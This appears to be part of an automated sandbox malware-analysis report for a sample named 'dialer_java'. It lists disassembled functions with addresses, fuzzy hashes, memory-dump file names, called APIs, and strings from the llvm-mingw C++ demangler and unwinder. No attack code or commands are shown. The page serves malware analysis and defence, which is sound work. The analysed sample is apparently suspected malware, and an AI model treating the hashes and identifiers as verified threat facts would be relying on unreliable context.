                                  • Opcode ID: ec0378b7f33f77d8e7c97258e2461193ec11778b80df3b520114259e277ecf23
                                  • Instruction ID: 468d2f606a88c96bd4663bdb809637e884c687c3f4c8e1df1300f6bef01fed1c
                                  • Opcode Fuzzy Hash: ec0378b7f33f77d8e7c97258e2461193ec11778b80df3b520114259e277ecf23
                                  • Instruction Fuzzy Hash: 3E91E322E1424286EB758E2AF14073966D1EF24B94F10A370DB6ADA7D1DF3CEC99C704
                                  Function 00007FF695DDC560 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 279COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID: restric$ volatil
                                  • API String ID: 471065373-3617781792
                                  • Opcode ID: db856f784eeb75ae2a2894c94dec506f6a3f145af6371b9ba82dd0594c7acb52
                                  • Instruction ID: 41da1b2791f664661f9114a18d93dbb167ae9029efe4bf391d80179e675d22fb
                                  • Opcode Fuzzy Hash: db856f784eeb75ae2a2894c94dec506f6a3f145af6371b9ba82dd0594c7acb52
                                  • Instruction Fuzzy Hash: 2FB181B6A05B8682DE39CF56F54426DA3A1EB54FC0F009572CB8E87BA0DF2CE855C704
                                  Function 00007FF695DDFED0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 187COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  • /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h, xrefs: 00007FF695DE005E
                                  • Index < size() && "Invalid access!", xrefs: 00007FF695DE0057
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: freememcpyrealloc$_assertmalloc
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$Index < size() && "Invalid access!"
                                  • API String ID: 3641880838-4289452498
                                  • Opcode ID: 14559c1bef0205f1bddb7d762293130f666c23255001db772909319ea83ab9bc
                                  • Instruction ID: 1d2c4231145deb46316c3b127655cc1304587e15a4d60367b04ac8c8b8a244ef
                                  • Opcode Fuzzy Hash: 14559c1bef0205f1bddb7d762293130f666c23255001db772909319ea83ab9bc
                                  • Instruction Fuzzy Hash: C851C262A19B4581EA31DB15E84027DA7A0FB98FC4F145271EE8D83B55DF3CD989C304
                                  Function 00007FF695DD14B4 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 171COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  • /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h, xrefs: 00007FF695DD1E5C
                                  • _, xrefs: 00007FF695DD198D
                                  • starts_with(Res, "operator") && "operator name does not start with 'operator'", xrefs: 00007FF695DD1E55
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: _assertmallocmemcpyrealloc
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$_$starts_with(Res, "operator") && "operator name does not start with 'operator'"
                                  • API String ID: 2036919697-1558868925
                                  • Opcode ID: 679a2847ca810ef046ab7b588b6ce72a6a5788b1c42471ad5ebca2e9f2d48802
                                  • Instruction ID: 8666d913196a43881b19188eb9b4ee3f1b5264540f84832d2f738a27e8fa49b7
                                  • Opcode Fuzzy Hash: 679a2847ca810ef046ab7b588b6ce72a6a5788b1c42471ad5ebca2e9f2d48802
                                  • Instruction Fuzzy Hash: EF61B33260AB4682EA71DB55F4402BAA7E4EB44F80F441276CB8E87B91DF3CE94DC744
                                  Function 00007FF695DD6D70 Relevance: 16.8, APIs: 11, Instructions: 256COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc$memcpy$malloc
                                  • String ID:
                                  • API String ID: 774493741-0
                                  • Opcode ID: 81f55bab3f375e8d77c0eab75715e2722c19bbdd34e8aaf7ba5827377f0e3e99
                                  • Instruction ID: ddeefe4184db139a49b0aea8a3bc3ab9d3e87ae4fc71aab091238869e89b3c3e
                                  • Opcode Fuzzy Hash: 81f55bab3f375e8d77c0eab75715e2722c19bbdd34e8aaf7ba5827377f0e3e99
                                  • Instruction Fuzzy Hash: D9A180B2A05B8682EA25CF55F4443ADA3A1EB14BC0F049272DF8D47B91EF3CE9958304
                                  Function 00007FF695DD9150 Relevance: 16.7, APIs: 11, Instructions: 246COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc$memcpy
                                  • String ID:
                                  • API String ID: 1833655766-0
                                  • Opcode ID: 91c14e38613bf2ef24675708493fc072fa46aa459f950d142766af95f801b6d9
                                  • Instruction ID: 3cd743a8f1f2ca2fc1d8fffa40bf19dfc45bd6f1cec3c423303166bb9c96cbd9
                                  • Opcode Fuzzy Hash: 91c14e38613bf2ef24675708493fc072fa46aa459f950d142766af95f801b6d9
                                  • Instruction Fuzzy Hash: C0A172B2A06B4682DA39CF52F450379A3A1EB54BC0F449672CB8E47B95EF3DE9458304
                                  Function 00007FF695DC7780 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 412COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: .
                                  • API String ID: 0-248832578
                                  • Opcode ID: 404f2b5ef2ef1ca89c18a83dc03043f38f12fb85a76960961c0867d0112dc419
                                  • Instruction ID: 1349b83e66954715d846a00826d1a2521d10d9de76279204533b4e56deef48e3
                                  • Opcode Fuzzy Hash: 404f2b5ef2ef1ca89c18a83dc03043f38f12fb85a76960961c0867d0112dc419
                                  • Instruction Fuzzy Hash: C1024F72A196428BEB748E16E05077A77E1EB14F40F006279DB9EC6B81DF2CF949C708
                                  Function 00007FF695DE21E0 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 391COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: fputc
                                  • String ID: .
                                  • API String ID: 1992160199-248832578
                                  • Opcode ID: 787fcf644351c96b12129b903d4882cc17bbf885cf22506cf1a7f1494b5e88d3
                                  • Instruction ID: 12de5b1e82defee84b8998071672e0ad1f015f01a475829de75cad77e9353d07
                                  • Opcode Fuzzy Hash: 787fcf644351c96b12129b903d4882cc17bbf885cf22506cf1a7f1494b5e88d3
                                  • Instruction Fuzzy Hash: 35F17172A086468BF7748A15E55073EB7E1EB16B40F046279CB9E86A81DF2CFC4DC708
                                  Function 00007FF695DCCEA0 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID: string literal$struct
                                  • API String ID: 471065373-3644149429
                                  • Opcode ID: edf70fb810bf94ab848eb3daabb1ff00f60fb926d8302909fc9aec54d1f694de
                                  • Instruction ID: 4f7ed0430444f5a108d983727a9a267756e22fcc4ec463698d6294f2888c0518
                                  • Opcode Fuzzy Hash: edf70fb810bf94ab848eb3daabb1ff00f60fb926d8302909fc9aec54d1f694de
                                  • Instruction Fuzzy Hash: 07D1C472A0AB8245EE75AB15E84037963D1EF05F80F5456B1CB9D87781DF3CE85A8308
                                  Function 00007FF695DD1129 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 185COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  • /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h, xrefs: 00007FF695DD1E5C
                                  • starts_with(Res, "operator") && "operator name does not start with 'operator'", xrefs: 00007FF695DD1E55
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: mallocmemcpy
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$starts_with(Res, "operator") && "operator name does not start with 'operator'"
                                  • API String ID: 4276657696-3503049562
                                  • Opcode ID: d973416b99985d58f68cdca0b67b1622ab5263c660939956c0e26541a716c251
                                  • Instruction ID: ca0827b36b16f5cb3ee0b2c8777df60f399803681606671d7f3ffec5358b2751
                                  • Opcode Fuzzy Hash: d973416b99985d58f68cdca0b67b1622ab5263c660939956c0e26541a716c251
                                  • Instruction Fuzzy Hash: C7719232609B4682EA71DB55F4402BAB3E0FB84B80F445276DB8E87B55EF3CE949C744
                                  Function 00007FF695DC62B0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 159stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: fwprintf$fputwcstrlen
                                  • String ID: %*.*S$%-*.*S$%.*S
                                  • API String ID: 3854221471-2115465065
                                  • Opcode ID: 98557c05d587b3aa904965f6ccec36304c4a609c4168c198159b4ee53df767b9
                                  • Instruction ID: 462b536b4157f36bae20532671922b6341d97eb11f8db6c427d4173ec9be8087
                                  • Opcode Fuzzy Hash: 98557c05d587b3aa904965f6ccec36304c4a609c4168c198159b4ee53df767b9
                                  • Instruction Fuzzy Hash: 9D514072A1C6028AEB748A1AF05063A72E1EB54F50F0462B5DB5FC7691DF3CEC49CB08
                                  Function 00007FF695DC4810 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 93COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: abortfflush$UnwindVirtual
                                  • String ID: float registers unimplemented$getFloatReg$libunwind: %s - %s$setFloatReg
                                  • API String ID: 3704712045-981669299
                                  • Opcode ID: c81ff4b8b519b7b76abbc2ebb3b43e5cc1aa211c4902d7b55f271be843bc12e9
                                  • Instruction ID: 01591a8c9689a3a5888f57d9846c02d7fbdd99b5669c7b2b9fcf1157f4a633da
                                  • Opcode Fuzzy Hash: c81ff4b8b519b7b76abbc2ebb3b43e5cc1aa211c4902d7b55f271be843bc12e9
                                  • Instruction Fuzzy Hash: C131A061A09B9681EB24AB65F8453F963A5EF44F84F005276DA8E83751CE3CD94EC308
                                  Function 00007FF695DC60C0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 142COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: fputwcfwprintf
                                  • String ID: %*.*s$%-*.*s$%.*s$%s
                                  • API String ID: 3232229890-407542676
                                  • Opcode ID: 6e15c573cd0727096df9284b745dfe6214acec5976200213ec216c7e21dcd879
                                  • Instruction ID: 07479075e7ea0273405c94cf15ce17c2eadb3c1274ba8c4d74195ddb6e93ed66
                                  • Opcode Fuzzy Hash: 6e15c573cd0727096df9284b745dfe6214acec5976200213ec216c7e21dcd879
                                  • Instruction Fuzzy Hash: 32515232A146028BEF748A1AF45063AB3E1EB54F51B106379DB5EC7681DF2CEC49CB08
                                  Function 00007FF695DD80F0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 133COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc$_assertmemcpy
                                  • String ID: 'unnamed$/home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$Parser->TemplateParams.size() >= OldNumTemplateParamLists
                                  • API String ID: 2140428464-3850676658
                                  • Opcode ID: e98f4957bddb08b3f0627d313fe1925ccf5ed37af1ae49de47ac71d8d8f7d74b
                                  • Instruction ID: c2bac9156ad9ab1abf8a55d0948f07712d2e55d3dafc3f88010352b16df92828
                                  • Opcode Fuzzy Hash: e98f4957bddb08b3f0627d313fe1925ccf5ed37af1ae49de47ac71d8d8f7d74b
                                  • Instruction Fuzzy Hash: 054162B2A06F4282DE298B46F44427DA3A1EB54FC4F549672CB9E47791EF3CE9498304
                                  Function 00007FF695DCD9A0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 103COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: _assertmalloc$memcpy
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$FromPosition <= Names.size()$Index <= size() && "dropBack() can't expand!"
                                  • API String ID: 4247363904-2992651634
                                  • Opcode ID: ab644f2095f0de27027b3e7fa25ecf4aaf29523574def526dacc6e54c99405ee
                                  • Instruction ID: 62b86fc5160bc4475dc2a9a926dd3f72d3fea498374b61b5297c703d780b2490
                                  • Opcode Fuzzy Hash: ab644f2095f0de27027b3e7fa25ecf4aaf29523574def526dacc6e54c99405ee
                                  • Instruction Fuzzy Hash: 2C41F072B19A4284EE24EB01FC443A973A0FB14B84F485275EE4D87791EF3CE989C308
                                  Function 00007FF695DC3F50 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 98COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: fflush$Unwindabort
                                  • String ID: _Unwind_Resume$_Unwind_Resume() can't return$libunwind: %s - %s$libunwind: _Unwind_Resume(ex_obj=%p)
                                  • API String ID: 3252057912-3900785416
                                  • Opcode ID: 67d0ddd8d3f3b324f54b87a857e904e5ecbaa43cf9483693f48d384fd3c00ca7
                                  • Instruction ID: 81eca4ce1868541afee9d61074593ee4c66e060931fff5c10f54fe4692b2ec3c
                                  • Opcode Fuzzy Hash: 67d0ddd8d3f3b324f54b87a857e904e5ecbaa43cf9483693f48d384fd3c00ca7
                                  • Instruction Fuzzy Hash: 99414A21D18BC181F6369B14E4063FAA3B4FFD9B84F006326EA8842665EF79D6D6C744
                                  Function 00007FF695DC45B0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 59COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: abortfflush
                                  • String ID: getReg$libunwind: %s - %s$setReg$unsupported register
                                  • API String ID: 4129902348-1024193272
                                  • Opcode ID: 5b2f10e133d415561be2da49aee555f4cb851904708bcff335edbf3d1aada5b7
                                  • Instruction ID: e16b968638f77285e972e98175404e5e431d688228eeba7c0ccb22990f43e671
                                  • Opcode Fuzzy Hash: 5b2f10e133d415561be2da49aee555f4cb851904708bcff335edbf3d1aada5b7
                                  • Instruction Fuzzy Hash: 55117390E0B51B51EE34A790E8552BC9796DF81F82F41A2B7C50E83396DE3CA90EC309
                                  Function 00007FF695DD2797 Relevance: 13.6, APIs: 9, Instructions: 95COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: isxdigit$malloc
                                  • String ID:
                                  • API String ID: 1399014089-0
                                  • Opcode ID: d11516b59d51969ee5f2a2bb7cdc1212a3f385caa4d96bde6dca3ab53278bab5
                                  • Instruction ID: a7d42b64c11a7d4814f4ba2dfb7298a4fba2ad9ced3320c50bba6c4a942f0f01
                                  • Opcode Fuzzy Hash: d11516b59d51969ee5f2a2bb7cdc1212a3f385caa4d96bde6dca3ab53278bab5
                                  • Instruction Fuzzy Hash: BE41B621608B8242E7684F31D49037AA7E0EF41F45F0856B5CE9E86A90DF3CEDA9D704
                                  Function 00007FF695DDB110 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 183COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
